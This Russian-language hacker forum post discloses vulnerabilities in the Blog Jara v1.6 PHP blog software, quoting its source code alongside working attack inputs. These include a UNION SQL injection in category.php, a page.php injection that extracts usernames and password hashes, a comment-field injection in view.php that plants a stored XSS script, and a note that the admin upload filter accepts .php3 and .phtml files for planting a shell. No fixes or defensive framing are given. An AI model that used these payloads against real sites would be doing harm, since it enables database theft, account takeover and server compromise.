Форум АНТИЧАТ - Blog Jara v1.6

Blog Jara v1.6

06.04.2010, 22:35

nikp

Reservists Of Antichat - Level 6

Регистрация: 19.09.2008

Сообщений: 127

Провел на форуме:
835386

Репутация: 1463

Blog Jara v1.6

Jara v1.6 - 1st March 2010
http://jara.xantiz.com/download.html

category.php

PHP код:


		
			
        @$categoryid = $_REQUEST["id"];

        $category = jara_get_category($categoryid);

        jara_page_start("Category: ".$category["title"]);

        $query = "select * from jara_posts where categoryid = '$categoryid'";

SQL
mq=off
http://localhost/jarav16/category.php?id=-1'+union+select+1,version(),3+--+

----------------------

view.php

PHP код:


		
			
        session_start();

        $id = $_REQUEST["id"];

        if(isset($_POST["name"])) {

            $name = $_POST["name"];

            $website = $_POST["website"];

            $comment = $_POST["comment"];

            if(substr($website, 0, 4) != "http") {

                $website = "javascript:;";

            }

            $name = htmlspecialchars($name);

            $comment = strip_tags($comment);

            if(!get_magic_quotes_gpc()) {

                $name = addslashes($name);

                $website = addslashes($website);

                $comment = addslashes($comment);

            }

            if(strlen($name) > 64) {

                $name = substr($name, 0, 60) . "...";

            }

            if(!empty($name) && !empty($comment) && $_POST["security"] == $_SESSION["result"]) {

            

                @jara_db_query("insert into jara_comments values('0', '$id', '$name', '$website', '$comment', '".time()."')");

$id не фильтруется, при mq=off, можно провести SQL injection + acttive XSS.
Из-за капчи удобнее использовать FireFox + Tamper Data

http://localhost/jarav16/view.php?id=1
заполняем
Your Name:
Your Comment:
Security Question:
и в Tamper Data правим id
id=1','Guest','','Hi!<script>alert(121212);</script>',1270547738) -- 1

По адресу http://localhost/jarav16/view.php?id=1 имеем alert.

----------------------

page.php

PHP код:


		
			
        $id = $_REQUEST["id"];

        $result = jara_db_query("select * from jara_pages where id = '$id' limit 1");

SQL
mq=off
http://localhost/jarav16/page.php?id=1'+union+select+1,username,unhex(hex(p assword)),4+from+jara_users+--+

Хеш хранится в формате SHA1

----------------------

В админке:
admin/upload.php

PHP код:


		
			
    if(is_writable("./../uploads/")) {

        if($_FILES["userfile"]["size"] > 0) {

            $ext = strtolower(end(explode(".", basename($_FILES["userfile"]["name"]))));

            if($ext == "php" || $ext == "pl" || $ext == "exe" || $ext == "sh") {

                echo "<p>You're trying to upload an extension that's not allowed. Please upload it inside a container such as a compressed archive.</p>";

            }

            else {

                if($_FILES["userfile"]["error"] == 0) {

                    $filename = $_SESSION["jara_admin"] . "-" . strtolower(preg_replace("/[^a-zA-Z0-9]/", "-", basename($_FILES["userfile"]["name"]))) . "-" . time() . "." . strtolower(end(explode(".", basename($_FILES["userfile"]["name"]))));

                    if(move_uploaded_file($_FILES["userfile"]["tmp_name"], "./../uploads/$filename")) {

                        echo "<p><strong>Your file was uploaded to <a href=\"../uploads/$filename\">$filename</a> in the uploads directory.</strong></p>";

Shell
загружаются файлы с расширением .php3, .phtml

----------------------